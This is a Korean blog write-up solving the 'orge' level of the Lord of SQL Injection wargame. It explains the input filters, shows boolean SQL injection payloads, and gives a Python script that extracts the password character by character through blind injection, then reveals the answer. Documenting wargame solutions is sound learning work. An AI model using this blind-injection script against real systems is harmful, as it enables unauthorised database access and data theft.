Wargame/Lord of SQL Injection

<Lord of SQL Injection> orge

지우친구 웅이 2021. 11. 12. 01:04

orge

'prob', '.', '_', '()', 'and', 'or'을 필터링한다.

전달받은 'pw'의 값에 싱글 쿼터, 더블 쿼터, 백 슬래시가 있을 경우, 이 들 앞에 '\'를 추가한다.

그리고 'pw'의 값이 참이고 'pw'의 값과 전달받은 'pw'의 값이 같으면 문제가 풀린다.

 

우선 ?pw=' || 1=1%23을 입력하면

현재 'id' 값에 따라 "Hello guest"를 출력한다.

"1=1" 대신 "1=2"로 거짓을 만들어 입력하면

아무것도 출력하지 않는 것을 확인할 수 있다. 이를 통해 Blind SQL Injection을 수행해야 한다는 것을 짐작할 수 있다.

 

먼저 'pw'의 길이를 알아보면

?pw=' || length(pw) < 10%23를 입력하면

?pw=' || length(pw) = 8%23를 입력하면

이를 통해 'pw'의 길이는 8 임을 알 수 있다.

 

이제 한 글자씩 알아보면 된다.

pw=' || ascii(substring(pw,1,1))=55%23 을 입력하면

"Hello admin"이 출력되는 것을 확인할 수 있다.

그럼 파이썬 코드를 사용하여 나머지 글자도 찾아보면

import requests

baseurl = "https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php"
pw = ''
want_str = "<h2>Hello admin</h2>"

for i in range(1, 9):
    for j in range(33, 128):
        url = baseurl + "?pw=' || ascii(substring(pw,{},1))={}%23".format(i, j)
        cookies = {'PHPSESSID' : 'PHPSESSID 값'}
        res = requests.get(url=url, cookies=cookies)

        if want_str in res.text:
            pw += chr(j)
            print("{} : {}".format(i, chr(j)))
            break
print("pw : ", pw)

"7b751aec"라는 문자열이 출력된다.

?pw=7b751aec 를 입력하면

문제가 풀리게 된다.

 

처음 풀 때는 한 글자씩 구할 때 ascii() 대신 ord()를 사용해서 풀었는데, 몇 분이 지나도 아무것도 출력되지 않아

코드를 잘못 작성한 줄 알았다. ord()에도 'or'이 들어있다는 사실을 까먹은 채 말이다.